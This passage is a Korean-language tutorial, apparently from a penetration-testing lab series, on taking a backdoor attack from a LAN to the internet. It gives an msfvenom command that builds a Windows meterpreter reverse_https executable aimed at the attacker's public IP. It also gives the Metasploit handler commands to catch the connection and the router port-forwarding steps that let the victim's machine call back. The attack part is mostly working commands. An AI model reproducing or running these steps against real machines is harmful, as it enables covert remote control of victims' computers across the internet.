
여태까지의 실습은 LAN에서 가정한 것이다. 내부망(집이나 회사LAN)에서는 사설 IP로 서로 바로 통신이 가능하지만, 인터넷(외부)에서는 라우터의 공인 IP만 보이기 때문에 외부에서 내부 장치로 들어오는 연결은 기본으로 막힌다.
공격자가 공인 IP로 연결을 시도해도 라우터가 어디로 포워딩할지 모르기 때문에 침투가 실패한다.
포트 포워딩이라는 개념이 등장하는데, 포트 포워딩이란 외부에서 라우터 공인 IP의 특정 포트로 들어오는 요청을 내부의 특정 기기의 특정 포트로 전달하도록 라우터에 규칙을 추가하는 것이다.

백도어를 실행하면 공인 IP:포트로 reverse 연결 시도하도록 할 것이다. 그럼 이제 LHOST를 공인 IP로 변경하여 백도어를 다시 생성해보자.
msfvenom -p windows/meterpreter/reverse_https LHOST=<공인_IP> LPORT=8080 -f exe > remote_backdoor.exe

이전과 페이로드는 동일하다 다만 LHOST를 공인 IP로 변경한 것이다. 그리고 Metasploit 리스너을 공격자의 열면 된다.
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST <공격자 프라이빗 IP>
set LPORT 8080
exploit

자 이제 여기까지 했으면, 백도어 실행시 지정해둔 퍼블릭 IP로 연결 시도를 하게 된다. 그럼 게이트웨이(라우터)는 8080을 오픈하고 있지 않다. 그래서 로컬 머신 중 어느 로컬 머신에 포워딩할지 모르는 상태다.

여기에 우리가 열어둔 8080으로 포워딩하라고 라우터에 말해줘야 한다!
먼저 로컬 IP의 게이트웨이를 찾자
route -n

이제 라우터 관리자 페이지 접속한다.

이제 8080과 로컬 IP를 넣어준다. 그럼 포트 포워딩이 완료되었다.
흐름은 대략 이러하다.